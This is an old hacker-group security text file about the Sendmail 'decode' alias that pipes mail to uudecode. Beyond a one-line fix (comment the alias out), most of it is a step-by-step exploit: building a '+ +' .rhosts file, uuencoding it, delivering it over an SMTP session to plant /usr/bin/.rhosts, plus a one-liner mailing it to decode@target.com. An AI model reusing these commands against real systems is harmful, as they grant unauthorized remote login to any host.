..:-={{Collaborative Security Information Center}}=-:.. X-TREME & TECHNOTRONIC Security Collaboration Project http://www.technotronic.com -=©=- http://www.x-treme.abyss.com Problem: /etc/aliases sometimes contains: decode: |/usr/bin/uudecode Just comment it out. % cat > outfile # Lets make our .rhosts file + + ^C % uuencode outfile /usr/bin/.rhosts begin 644 /usr/bin/.rhosts $*R`K"@`` ` end % telnet 127.1 25 Trying 127.0.0.1... Connected to 127.1. Escape character is '^]'. 220 fred Sendmail 5.64/zippy-1.22.01 ready at Mon, 24 Jul 95 09:34:12 -0400 (GMT) helo 250 fred Hello (localhost), pleased to meet you # Howz it hangin? mail from: bin 250 bin... Sender ok rcpt to: decode 250 decode... Recipient ok data 354 Enter mail, end with "." on a line by itself begin 644 /usr/bin/.rhosts # just type our uuencoded + + $*R`K"@`` ` end . 250 Ok quit 221 fred closing connection Connection closed by foreign host. % ls -al /usr/bin/.rhosts -rw-r--r-- 1 bin 4 Jul 24 09:34 .rhosts This is the same as: % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com